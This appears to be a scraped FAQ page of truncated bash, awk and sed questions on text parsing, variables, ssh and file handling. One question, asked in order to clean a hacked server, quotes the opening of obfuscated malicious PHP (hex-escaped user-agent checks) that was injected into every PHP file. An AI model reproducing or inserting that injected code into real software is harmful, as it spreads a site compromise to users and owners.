FAQ Database Discussion Community


storing 'du' result in a variable [duplicate]

bash,unix,putty
This question already has an answer here: How to return the output of program in a variable? 4 answers I am using Putty with bash-4.2. Therein, I am outputting file size with: du -m myfile.csv which returns: 1.25 myfile.csv How do i store this line in a variable so...

Extract OTP Key using regex

regex,bash,sed,google-authenticator
I have a script that enables OTP / Google Auth via SSH keys and OTP on linux systems. Once OTP is enabled I send the user a SMS with an otpauth URL. I need to extract the ( normally 16 digit key ) from the otpauth URL. If they want...

Reading tab (\t) separated text from file in shell

bash,shell,text-files
my text file looks like this 1 get a 06-05-2000 2 get b 06-05-2001 3 get c 06-05-2002 4 get d 06-05-1442 5 get e 06-05-1998 6 get f 06-05-1909 I want to read what is after the first \t (tab) and store that in varA and what is after...

Error while executing lsof from bash script

linux,bash,shell,scripting
I am trying to check for the process which are running on a particular port and if present kill them, as i have to start another process on that port. Below is my code snippet. #!/usr/bin/env bash TEST_CASE_PATH="$HOME/Projects"; #kill Previous Process Running on port 9130 OUTPUT="$(ls -1)" echo "${OUTPUT}" #...

The various components of Chef

bash,chef
Just getting started with chef and it looks like there are several components, which I'm finding rather confusing. They are all available for download via https://downloads.chef.io/ chef server to manage the centralized chef server chef client to manage each node chefdk to assist in development of chef chef "workstation" -...

linux - running a process and tailing a file simultaneously

bash,shell,tail
I want a run a long task on a remote machine (with python fabric using ssh). It logs to a file on the remote machine. What I want to do is to run that script and tail (actively display) the log file content until the script execution ends. The problem...

How do I silence the HEAD of a curl request while using the silent flag?

bash,shell,curl,command-line,pipe
When I run the curl command and direct the data to a file, I get back the content of the site as expected. $ curl "www.site.com" > file.txt $ head file.txt Top of site ... However, this command shows a progress bar, which I do not want: % Total %...

if a string exist (including a variable), flip it using awk or sed

bash,awk,sed
I have a csv file like this: ,College Level Math 55,Elementary Algebra 112 ,Elementary Algebra 79, ,College Level Math 102,Elementary Algebra 54 ,,College Level Math 54 I need an awk or sed command that does the following if College Level Math *,Elementary Alegrbra * exist flip it so it looks...

how to spy on linux binaries for testing of shell scripts

linux,bash,shell,testing,spy
sorry if this is a duplicate, i had no idea what to search for... my use case is more complex, but can be narrowed down to the following problem: i want to run a bash script, which invokes all sorts of binaries, for example: grep. i want to assert that...

Mac OSX - Allow for user input in shell script via GUI or Prompt

osx,bash,shell
first time post so please let me know how I could improve.. I created a shell script which requires a person to input their name and then generates a report. The script works as needed when chmod'd into an executable script and run from terminal. But, I would like to...

Why can I view some Unix executable files in Mac OS X and not others?

git,bash,shell,unix,binary
I am on a Macbook Pro on Mac OS X 10.10 (Yosemite). When I go to /usr/bin, git is there as a unix executable file. When I open it up in Sublime Text, all I get is unreadable machine code. However, when I open up a different Unix executable file—in...

Continuous piping in bash program

bash
I'm looking for a way to pipe text continuously into a process like write. I do not want to buffer and pipe it all at once. This is my bash script so far: #!/bin/bash for i in `seq 1 10`; do echo $i | write user done The problem is...

Python: can't access newly defined environment variables

python,bash,environment-variables
I can't access my env var: import subprocess, os print os.environ.get('PATH') # Works well print os.environ.get('BONSAI') # doesn't work But the env var is well added in my /home/me/.bashrc: BONSAI=/home/me/Utils/bonsai_v3.2 export BONSAI And I can access this env var from a new terminal....

second else if stament is NOT working properly

bash,if-statement
My second "else if" is not working. I cannot download the file if the file is not there. I do not know what I'm doing wrong here. #!/bin/bash # upper case file_upper_case=/root/MASTER.txt # lower case file_lower_case=/root/master.txt if [ -e "$file_upper_case" ]; then echo "File is upper-case" echo "Changed to lower_case"...

AWK|BASH, use double FS and ternary operator

bash,awk
Is it possible? I was wondering how to do: Count fields differentiated by comma. Only the obtained first field of the previous step, count words differentiated by space. If there is more than 2 words, print NF, otherwise $0. Input cellular biol immunogenet, rosario escuela estadist, medellin medellin Expected output...

BASH - conditional sum of columns and rows in csv file

linux,bash,csv,awk
i have CSV file with some database benchmark results here is the example: Date;dbms;type;description;W;D;S;results;time;id Mon Jun 15 14:22:20 CEST 2015;sqlite;on-disk;text;2;1;1;570;265;50 Mon Jun 15 14:22:20 CEST 2015;sqlite;on-disk;text;2;1;1;420;215;50 Mon Jun 15 14:22:20 CEST 2015;sqlite;on-disk;text;2;1;1;500;365;50 Mon Jun 15 14:22:20 CEST 2015;sqlite;on-disk;text;2;1;1;530;255;50 Mon Jun 15 14:22:20 CEST 2015;hsql;on-disk;text;2;1;1;870;265;99 Mon Jun 15 14:22:20 CEST 2015;hsql;on-disk;text;2;1;1;620;215;99...

Calling find more than once on the same folder tree

linux,bash,shell,unix,find
I'm running a find command multiple times on the same group of files. The results of my find commands are usually disjoint sets, AKA I'm running find -mmin +35; find -mmin -25, and doing different things to the results. It seems sort of silly to search through the entire file...

Bash alias doesn't work in cygwin

bash,cygwin,windows-8.1,alias
Can someone please explain to me how to set up bash aliases? I am using cygwin on windows 8. I added alias my_first_alias='git status' at the end of /.bashrc file. Typing my_first_alias into cygwin results in -bash: my_first_alias: command not found. Trying to restart cygwin, running . .bashrc doesn't help...

Finding the average of a column excluding certain rows using AWK

linux,bash,awk,scripting
I want to calculate the average of the 5th column (last column) excluding the rows with the value "9999". Would appreciate your feedback. 77.300 16 1 3.6112914285714268 9.4 77.300 16 2 -0.001737142857145102 20.0 77.300 16 3 5.1570742857142857 8.9 77.300 17 0 3.6112914285714268 8.9 77.300 17 1 2.9484342857142849 11.7 77.300 17...

How to remove characters before and including an underscore?

linux,string,bash,unix,awk
In bash scripting what's an efficient way to do the following please? var="fooo_barrrr" What is the best way to remove all characters before and including the '_' so that var becomes "barrrr" please?...

Permission denied in find: why do we need 2>&1?

bash,error-handling,find,io-redirection
I was recently searching for a way to filter out 'Permission denied' errors while searching for a file using the find command, and I found this link: How can I exclude all "permission denied" messages from "find"? Here's an the answer that worked for me from the link: find ....

cat /dev/null to multiple files to clear existing files like logs

linux,bash,shell,command-line,tee
A good way to clear logs(syslog has a handle on file) which have frozen my linux server(out of space) I tried cat /dev/null > fileABC; cat /dev/null/ > fileXYZ How can I clear multiple files by cat /dev/null to multiple files in an efficient or single command. ...

Assign and use of a variable in the same subshell

bash,scope,subshell
I was doing something very simple like: v=5 echo "$v" and expected it to print 5. However, it does not. The value that was just set is not available for the next command. I recently learnt that "In most shells, each command of a pipeline is executed in a separate...

How to append entry the end of a multi-line entry using any of stream editors like sed or awk

linux,bash,awk,sed,sh
I am trying to use a script to append the host name at the end of a multi-line entry of a specific Host_Alias field in sudoers file. The current sudoers file has an entry similar to : Host_Alias srv_linuxestate= \ host10,host12,host13,host1,host50,\ host16,host1,host2,host11,host15,host21,\ host3,host14 My required output would be something like...

How do I check whether a file or file directory exist in bash?

bash,if-statement
I currently have this bash script (which is located in my home directory, i.e., /home/fusion809/ and I am running it as root as it's necessary for the icon copying lines): cd /home/fusion809/Pictures/Icon* declare -a A={Arch,Debian,Fedora,Mageia,Manjaro,OpenSUSE} declare -a B={Adwaita,Faenza,gnome,Humanity} for i in $A; do for j in $B; do if test...

how to modify an array value with given index?

arrays,linux,bash
I want to modify an array cell, which I can do when I know the cell as a number. However here my cell position is given by $i. pomme[`${i}`]="" I tried without the `` and it doesn't work either? How am I suppose to do it?...

how to run export bash command through C# process?

c#,bash
Trying to run export command through C# process : Current situation Process proc = Process.Start("export", "display=\":0.0\""); proc.WaitForExit(); return proc.ExitCode; Part of the error Unhandled Exception: System.ComponentModel.Win32Exception: Cannot find the specified file at System.Diagnostics.Process.Start_shell (System.Diagnostics.ProcessStartInfo startInfo, System.Diagnostics.Process process) [0x00000] in <filename unknown>: 0 This is the way I did for all...

shell script cut from variables

bash,shell,shellcode
The file is like this aaa&123 bbb&234 ccc&345 aaa&456 aaa$567 bbb&678 I want to output:(contain "aaa" and text after &) 123 456 I want to do in in shell script, Follow code be consider #!/bin/bash raw=$(grep 'aaa' 1.txt) var=$(cut -f2 -d"&" "$raw") echo $var It give me a error like...

how to immediately login through ssh?

bash,ssh
Here is my problem. I need to run a command ./deploy.sh -u 1540 This will fetch version 1540 of deploy.sh on SVN When I do, the script access SVN and ask for a password. I'm using ssh. It will first ask me a password since it guesses my SVN login...

Bash script using sed acts differently when passing variable

bash,sed
I have a script that I am writing that checks a value and then based on the value modifies it. I am trying to understand why it works this one way and not the other. Based on the google and stackoverflow searches I did, nothing really fits what I am...

copy files from a directory to multiple directories

bash,cp
The directory (mydir) has 1000 files (ls | wc -l) but I want to copy only those files with file.num.txt to a directory num. Here is an example mydir file.1 file.1.txt file.2 file.2.txt ... /home/user1/store dir has dirs like dir1 dir2 ... So I want to copy file.1.txt to dir1,...

Storing multiple columns of data from a file in a variable

bash,file
I'm trying to read from a file the data that it contains and get 2 important pieces of data from the file and us it in a bash script. A string and then a number for example: Box 12 Toy 85 Dog 13 Bottle 22 I was thinking I could...

How to store command line arguments for future use?

bash,shell
I have a big bash script (version 3.2.51(1)-release) and I need to store command line arguments for use in the script. I checked many threads here and people suggested to use "$@" to access all arguments. If I run this script (test.sh) - #!/bin/bash echo "$@"; $> ./test.sh 1 2...

How can I debug the Bourne Shell with gdb?

bash,gdb,tar
I built a toolchain script to prepare a Linux build environment. The script can be found here: https://github.com/mynameismevin/prometheus/blob/toolchain/ptool-make.sh The script runs perfectly until after the Perl section around line 416. After Perl is done, when it goes to unzip sed, it complains with this error: tar (child): sed-4.2.2.tar.bz2: Cannot open:...

How do I respond to a prompt for password in a shell script?

bash,ubuntu,vnc
I'm writing a shell script to set a VNC password using vncpasswd. The only way to use vncpasswd is in interactive mode (enter password, return, confirm password, return). How can I respond to the prompts in my shell script so I can set the password automatically? (i.e. non-interactive). Thanks! Chris....

Capitalize all files in a directory using Bash

osx,bash,rename
I have a directory called "Theme_1" and I want to capitalize all the filenames starting with "theme". The first letter of every file name is lowercase and I want it to be upcase. I've tried this but all the letters in the filename are upcase, which is not what I...

Linux: Using split on limited space

linux,bash,file-io
I have a huge file on a linux machine. The file is ~20GB and the space on my box is ~25GB. I want to split the file into ~100mb parts. I know theres a 'split' command but that keeps the original file. I don't have enough space to keep the...

Change a Script to a For Do Done Loop

linux,bash,for-loop,awk
I have a script that I need to turn into a loop, the script works exactly as I need it to (My Awk-fu is extremely weak, so be nice) when I put in the file name like the example below. #!/bin/bash awk -v FS='(<LastName>|<\/LastName>)' '{print $2}' 17822624.xml >> test.csv awk...

Taking multiple header (rows matching condition) and convert into a column

bash,perl,command-line,awk,sed
Hello I have a file that has multiple Headers in it that I need to have turned into column values. The file looks like this: Day1 1,Smith,London 2,Bruce,Seattle 5,Will,Dallas Day2 1,Mike,Frisco 4,James,LA I would like the file to end up looking like this: Day1,1,Smith,London Day1,2,Bruce,Seattle Day1,5,Will,Dallas Day2,1,Mike,Frisco Day2,4,James,LA The file...

How to change svn:externals from bash file non-interactive

bash,svn,svn-externals
I have multi externals need to be set within a file externals.txt and I attempt to change the svn:externals from a bash: svn pe svn:externals svn://hostname/branchname -F extenals.txt But the command throws out an error: svn: E205007: None of the environment variables SVN_EDITOR, VISUAL or EDITOR are set, and no...

Remove specific (complex) line from MANY files (sed?)

regex,bash,sed,grep
Server was hacked, every php file on the server now starts with malicious code: <?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $zdsnpbzghe =...

Using AWK to parse fields with commas

regex,bash,shell,awk
Edited - TLDR: Using awk to parse fields that include commas. # original config file - confile1 $ cat confile1 list=( app1,"HOSTNAME - port - application name - alert1",99.0,99.0 app2,"HOSTNAME - port - application name - alert1",99.0,99.0 app3,"HOSTNAME - port - service name - alert2",99.0,99.0 web1,"URL - HOSTNAMES(01,02) - http://someurl.com/...

Extra backslash when storing grep in a value

linux,bash
In a bash script I have: Check="grep -e '"'\(-S mount\)'"' /etc/audit/audit.rules" set -x When you run it it shows it as: CHECK='grep -e '\''\(-S mount\)'\'' /etc/audit/audit.rules' Now it works exactly what I want but I want to understand it. Why is there 2 extra \'s?...

AWK write to new column base on if else of other column

linux,bash,shell,awk,sed
I have a CSV file with columns A,B,C,D. Column D contains values on a scale of 0 to 1. I want to use AWK to write to a new column E base in values in column D. For example: if value in column D <0.7, value in column E =...

print filenames into scripts in bash

bash,printf,echo
How do you print each name of a file from a directory into a string and make make new scripts? to print each file name for i in `ls new_manifest*`; do echo $i; done but when I try and print the rest of the string with $i like this is...

Bash script doesn't get all parameters that i've given

bash
I've a simple bash script to run the parameter as a command on the server, the necessity for this i am creating the required command as a string on the other server and trying to execute it remotely. PROFILE=/coremedia/home/picroot/.profile source $PROFILE "$1" the parameter i am sending to script :...

Bash alias function with predefined argument

bash
I have an alias gl which is an wrapper for git log. Basically like this function gitLog(){ if [ $# -eq 0 ] then git log else git log -n $1 } alias gl=gitLog I want to add an alias which just calls gitLog with an argument like this alias...

How to check whether string matches that of a domain

regex,bash,shell
I have written code to test whether a string matches a domain like this: host=$1 if [[ $host =~ ^((?!-)[A-Za-z0-9-]{1,63}(?<!-)\\.)+[A-Za-z]{2,6}$ ]] ; then echo "it is a domain!" fi With help from this website but for some reason, the above is not working. Do you have any idea why?...

Gnuplot bar chart from this CSV input

bash,gnuplot
I have csv file data.dat for example with these values: #W=1 0;sqlite;11500 1;hsql;14550 2;h2;17550 #W=2 0;sqlite;11000 1;hsql;13800 2;h2;16500 #W=3 0;sqlite;11000 1;hsql;13800 2;h2;16500 #W=4 0;sqlite;11000 1;hsql;13800 2;h2;16500 I need to plot bar charts into pdf. each data for each graph starts with title #W1,#W2.... i have tried this script: cat <<...

Access a bash array in awk loop

arrays,bash,awk
I have a bash array like myarray = (1 2 3 4 5 ... n) Also I am reading a file with an input of only one line for example: 1 2 3 4 5 ... n I am reading it line by line into an array and printing it...

Bash, Using grep, sed or awk to extract section of text and then match

bash,awk,sed,grep
I have a text file and want to extract all interfaces matching "blue" random text random text random text random text random text int 1 random text blue random text random text int 2 random text random text red random text int 3 random text random text random text blue...

loop add a comma after nth comma using awk

bash,awk
I feel like this should be a fairly straight forward question, but I cant seem to get it to work. I have a csv file and I need to add comma after the nth comma in each row. I believe I have to use gsub to get it to loop....

How to programatically make a key shortcut?

osx,bash,task-switching
I'm not even sure if bash is the most proper way to achieve this but, I need to, programmatically, switch between opened applications on OS X. I'm thinking about doing a bash program to execute "cmd+tab". I'm unable to find this on a regular search, so, perhaps someone can point...

Group of data in shell language

linux,bash,shell
I wonder if the data in the group aren’t numbers ; the script works? When x="1 2 3" I can do a for loop: for i in $x I wonder if this is correct : read x read y xm=`cat $x` ym=`cat $y` zm="$xm $ym" for i in $zm do...

Using indirect variable references in a Bash script

linux,bash
I have lots of old log files in a directory, with apps logs generated every month to this directory. I want to use a script to remove only the last month old logs. This is my file logsDir , these files are 0kb, i have created for question understanding [[email protected]..

Finding columns with only white space in a text file and replace them with a unique separator

regex,r,bash,awk,sed
I have a file like this: aaa b b ccc 345 ddd fgt f u 3456 e r der der 5 674 As you can see the only way that we can separate the columns is by finding columns that have only one or more spaces. How can we identify...

Aggregate failure codes in bash

bash
I've got a script which has multiple stages, and at each stage it's possible to fail, but the script can carry on running. Concretely, I generate some json, and check if the diff is correct. The diff could be wrong, but it doesn't stop the next stage of json being...

How to copy matches from an extremely large file if it contains no newlines?

python,linux,bash,perl,grep
The problem is I cannot avoid working with extremely big files which contain no newlines in them: <a>text1</a>...gigabytes of data here, all in one single line...[a text to extract b> What should I do if I want to copy matches from this file (putting every match in a separate line,...

Run Boot2Docker from bash

osx,bash,docker,boot2docker
I have installed Boot2Docker on my Mac. By clicking on the app icon, a terminal window opens with some bash script running to prepare the docker vm and then you're good to go. My problem is, I want to write a bash script to run the Boot2Docker vm and then...

Extract minor version from kernel to bash variable

linux,bash,sed,cut
I am new to bash and writing a script that needs to compare the minor version of the kernel to see if it is greater than or equal to 10, and exit if it is not. Currently I have something like: KERNEL = $(uname -r) declare -i MINOR_VERSION=$(echo $KERNEL |...

Bash script for basic mathematic operations

linux,bash,math
I am new to Linux, and I just want a Bash Script to do basic arithmetic operation to a text file 1 2 3 4 and the results should be addition and multiplication in separate text files say add + 5 for 1st text file and mult * 5 in...

Bash arithmetic expression's side effects not executed

bash,post-increment,arithmetic-expressions,side-effects
$ declare -i i=0 $ for j in {0..2}; do echo "${j} $((i++))"; done 0 0 1 1 2 2 $ for j in {0..2}; do echo "$(echo "${j} $((i++))")"; done 0 3 1 3 2 3 $ Why i doesn't get incremented in the 2nd for loop? (Yes, I...

Reading rsync source from file results in improper parsing of file names with white space

bash,shell,unix,scripting,rsync
I wrote a simple script that searches through a specific directory defined by the variable "SCOPE" producing a list of directories that were modified within the past 24 hours printing them to a temp file. The first line of the file is deleted (to exclude the root level of the...

[: : integer expression expected

bash,if-statement,integer
COUNTER=0 let COUNTER=COUNTER+1 count=`ssh -i /var/www/.ssh/id_rsa_root -o stricthostkeychecking=no $host $cmd` count1=`echo $count | awk '{print $4}'` printf "count1 : $count1\n" result1=${count1/.*} if [ "$result1" -ge "0" ]; then echo $host else echo $host exit fi If the value of $result1 is INTEGER and greater than zero, it'll goto IF loop...

Shell script to loop over files with same names but different extensions

linux,bash,shell
For example say I have: filename1.ext1 filename1.ext2 filename2.ext1 filename2.ext2 I need to write a shell script to feed these files into a program like so: program filename1.ext1 filename1.ext2 program filename2.ext1 filename2.ext2 Additionally the .ext1 files must be entered first and the .ext2 files second. Any help would be appreciated....

What are valid input DATE formats for the (Linux) date command?

linux,bash,date,scripting
The following command generates the date for the next day: date -d "20150615 12:00 +1 day" +%Y%m%d 20150616 I would like to specify my own INPUT date format, such as: 2015_06_15 But the date command does not like this format and complains about invalid date: date: invalid date '2015_06_15 12:00...

how to correctly write command inside commands (ssh)?

bash,ssh
Here is the command I have which works It's just a kill with an expression which returns a number kill $(ps -ef | grep '[m]atchbox-panel --titlebar --start-applets showdesktop,windowselector' | cut -f8 -d' ') &> /dev/null Here is the ssh I normally use bash -c 'timeout 120s ssh -o StrictHostKeyChecking=no [email protected]..

How to exit if statement in bash without exiting program?

bash,terminal
Let's say I have a script which is executable. It looks like this: if true then echo "started if statement" exit fi echo "hello" When I run this script, hello is not printed, because exit exits the entire shell. Is there a way to make exit (or some other statement)...

Bash ERR signal not trapped in procedures?

bash,signals
Consider the following code: #!/bin/bash trap 'echo "ERROR" && exit 2' ERR proc(){ false return 0 } echo START proc echo END The above shows output START END but I would expect the false command to trigger the trap procedure for the ERR signal. If I put false instead of...

bash: How can I assemble the string: `“filename=output_0.csv”`

string,bash,concatenation
I am using a bash script to execute a program. The program must take the following argument. (The program is gnuplot.) gnuplot -e "filename='output_0.csv'" 'plot.p' I need to be able to assemble the following string: "filename='output_0.csv'" My plan is to assemble the string STRING=filename='output_0.csv' and then do the following: gnuplot...

Macports switch PHP CLI version

php,bash,drupal,terminal,macports
I'm trying to switch my Terminal PHP version to 5.4 because I ran into some issues with Drush while updating my Drupal core. http://drupal.stackexchange.com/questions/112090/drush-command-errors The reason for these issues is my Terminal PHP version is different then my localhost. php -v in Terminal returns PHP 5.5.13 (cli) but my localhost...

Execute bash function from find command

bash,xargs
I have defined a function in bash, which checks if two files exists, compare if they are equal and delete one of them. function remodup { F=$1 G=${F/.mod/} if [ -f "$F" ] && [ -f "$G" ] then cmp --silent "$F" "$G" && rm "$F" || echo "$G was...

Print the last 1,2,3..Nth or first 1,2,3…Nth matching block pattern using awk or sed

bash,awk,sed
pattern1 a b pattern2 cd pattern1 re pattern2 gh pattern1 ef pattern2 qw e I can show all matching pattern by sed -n '/pattern1/,/pattern2/p' Choose the second matching pattern or any Nth by awk -vM=2 '(x+=/pattern1/)==M&&x+=/pattern2/' file pattern1 re pattern2 Print only last matching pattern by awk 'x+=/pattern1|pattern2/{!y++&&B="";B=B?B"\n"$0:$0;x==2&&y=x=0}END{print B}' file...

using sed to replace a line with back slashes in a shell script

regex,bash,shell,ssh,sed
I am trying to replace the bottom one of these 2 lines with sed in a file. <rule>out_prefix=orderid ^1\\d\+ updatemtnotif/</rule>\n\ <rule>out_prefix=orderid ^2\\d\+ updatemtnotif/</rule>\n\ And the following command seems to do that when executed as a command at the bash prompt sed -i [email protected]_prefix=orderid ^2\\\\d\\+ [email protected]_prefix=orderid ^2\\\\d\\+ [email protected]' /opt/temp/rules.txt however, when...

Check string index exist

linux,bash
how to we check if string index is exist in array for example declare -A SArray SArray[a]="a" SArray[b]="b" read index now on index i want to check if index is exist in SArray ...

Remove part of a column, if its in a specific Column number. (The column has a variable)

bash,awk,sed
I have a csv with lines like this: Last,First,A00XXXXXX,1492-01-10,2015-06-17,,Sentence Skills 104,,Elementary Algebra 38, Last,First,A00XXXXXX,1492-01-10,2015-06-17,,,,Elementary Algebra 101,College Level Math 56 Last,First,A00XXXXXX,1492-01-10,2015-06-17,Reading Comprehension 102,,,, Last,First,A00XXXXXX,1492-01-10,2015-06-17,,,,Elementary Algebra 118,College Level Math 97 I want to remove the word "Reading Comprehension" but leave the number, but only if its in column 6, if its in...

How to find average and maximum in an interval using Shell [closed]

linux,bash,shell,unix,awk
I would like to extract sum, mean and average in each 6 numbers interval from a column. I found many discussions related to this problem, but all those are for whole column. e.g. To compute sum of a column: awk '{sum+=$1} END { print sum}' To calculate Average: awk '{sum+=$1}...

Bash modify CSV to change a field

linux,bash,awk
I have a very big CSV file (aprox. 10.000 rows and 400 columns) and I need to modify certain columns (like 15, 156, 220) to change format from 20140321132233 to 2014-03-21 13:22:33. All fields that I need to modify are datetime. I saw some examples using awk but for math...

How to extract first letters of dashed separated words in a bash variable?

linux,string,bash,shell,variables
I would like to extract the first letter of dashed separated words value of my bash variable, like this: MY_TEXT=this-is-my-custom-text I would like to create a second variable like this: MY_INITIALS=timct...

Bash script that removes C source comments

bash
I need to write a bash script which copies all .c files from a directory $2 to another directory $1, but without comments. I only have to remove comments that begin with //, might have tabs/spaces before the comment, but not letters. Also, I need to do it with only...

sed regex : remove occurrences of [ and ] from string

regex,bash,sed
I am using Linux Mint 17. I am able to replace everything from the test string except [ and ] (opening and closing square brackets). Here is my expression, which is within a bash script, which I run from the command line video_title=$(echo $video_title | sed 's|[?![]]||g') I have tried...

Evaluating variables from a list of names in bash

bash
vars="a,b" a="True" b="False" IFS="," for var in $vars; do if [[ "$var" = "True" ]]; then echo "True found" fi done I would expect the above bash script to print out "True found". But it does not print anything. Any ideas as to why ?...

Why does `sort file > file` result in an empty file? [duplicate]

bash
This question already has an answer here: bash redirect input from file back into same file 7 answers When you try to sort a file in-place with sort afile > afile you silently end up with afile being an empty file. Why is that? I'd expect either an error...

Matching string inside file and returning result

regex,string,bash,shell,grep
I've got a few peculiar issues with trying to search for a string inside of a .db file. The way I tried was by using grep, which does apparently find the string(s), although this is the output: $ grep "ext" *.db Binary file enormous.db matches There are a couple problems...

shell script for counting replacements

bash,replace,count
Ten files located in a directory. Each file content has "apple" word. write a bash shell script to replace "apple" with "banana" in all ten files and Print the number of replacements for each file. Have tried in this way but dont know how to get number of replacement. can...

How to test if a command is a shell reserved word?

bash,shell
I am writing a bash script and I would like to verify if a string is a shell reserved word (like if, for, alias, etc...). How can I can do this?...

Replace [a-z],[a-z] with [a-z], [a-z] and keep the letters

bash,awk,sed
How can I replace [a-z],[a-z] with [a-z], [a-z] and keeping the letters? Input suny stony brook, stony brook,usa. Output suny stony brook, stony brook, usa. What I have tried sed 's/[a-z],[a-z]/[a-z], [a-z]/g' <<< "suny stony brook, stony brook,usa." sed 's/[a-z],[a-z]/, /g' <<< "suny stony brook, stony brook,usa." ...

bash interactive script pass input

bash,command-line-arguments
I'm running the following interactive Jar. java -jar script.jar argument-line-here \n Now I'm creating a bash script which runs the jar file. How do I pass the argument line and the conformation "\n" to this interactive script? these are input lines for the script. This question has some answers, expect...

Redirect output from file to stdout

bash,shell,unix,stdout
I have a program that can output its results only to files, with -o option. This time I need to output it to console, i.e. stdout. Here is my first try: myprog -o /dev/stdout input_file But it says: /dev/ not writable I've found this question that's similar to mine, but...

how to set dynamic arguments for a process?

c#,bash,process
In bash I run the following kill commands (it's just a kill with an expression which return the ID of a process) kill $(ps -ef | grep '[m]atchbox-panel --titlebar --start-applets showdesktop,windowselector' | cut -f8 -d' ') which return something like kill 800 When I try to run this in C#...

Bash script to return exit code from NodeJs script

javascript,node.js,bash
I have a Bash script which runs a node script as part of its tasks. I would like the bash script to exit with the same exit code as the node script. Simplified example below. foo.sh: #!/bin/bash node ./bar.js bar.js: process.exit(1); //sometimes the exit code can be 0 ...

Need to update a text file with new content found in an other text file

bash,shell,text-files
hello i was update a file, removing some content from it, now that i have to new file i want it's content back to the original file hidden=Desktop/newtodo.txt do echo -e "$y \t $line" >> $hidden y=$(($y+1)) done newtodo.txt > todo.txt i have content in todo.txt i updated them in...

How to store ImageMagick output into Bash variable (and then use it)?

bash,imagemagick,imagemagick-convert
I use ImageMagick and need to do conditional resize of images. For that I store results of the identify tool into variables. $infile='test.jpg' width=$(identify -ping -format %w $infile) height=$(identify -ping -format %h $infile) But before resizing I want to do some transformations that change image size: -trim and -shave. So...

Error code numbers. Define proper values

bash,debian
I saw E_NOTROOT=87 # Non-root exit error in the one of the bash script examples. Where this value was taken from? How can I find proper error numbers for such kind of errors in bash environment?...

While loop in bash using variable from txt file

linux,bash,rhel
I am new to bash and writing a script to read variables that is stored on each line of a text file (there are thousands of these variables). So I tried to write a script that would read the lines and automatically output the solution to the screen and save...

find numbers divisible by 3 in csv file using shell script

bash,shell,unix,awk
I have csv file having content like below : 1|2|3 4|5|6 7|8|9 Now I would like to find the numbers which are divisible by 3 using shell scripting. I would like to use awk command for this. I am learning shell scripting. So could you please help me out to...

Pressing after typing 'export VARIABLE=~/' clobbers the 'VARIABLE='

bash,tab-completion
I'm experiencing the following behaviour in bash that I find very annoying: Type export VARIABLE=~/ Now I'd like auto-completion for the next segment of the path, so I press <tab>. Bash clobbers the VARIABLE=, leaving just export ~/. Why is this happening? My bash version is 4.3.33, OS is Debian...

Allowing an executable to be terminated w/ ctrl+c in a shell script w/o exiting

bash,shell
Example: #!/bin/bash command_a # starting a executable command_b # should be executed after after exiting A A is exited via ctrl+C. I didn't really know how to search for this....

Vagrant shell provisioning phpPgAdmin password

bash,shell,vagrant,vagrantfile,phppgadmin
How would I get my Vagrant shell script to supply the password when creating a user while provisioning phpPgAdmin? ie. when I supply this command sudo htpasswd -c /etc/phppgadmin/.htpasswd vagrant it prompts for a password for the vagrant user so I can login to phpPgAdmin. How can I script this...

Identifying when a file is changed- Bash

bash,shell,unix
So in my bash shell script, I have it running through a for loop. Inside the for loop, I use find "$myarray[i]" >> $tmp to look for a certain directory each time through the loop. Sometimes, it finds the variable in myarray[i] and sometimes it doesn't. When it does find...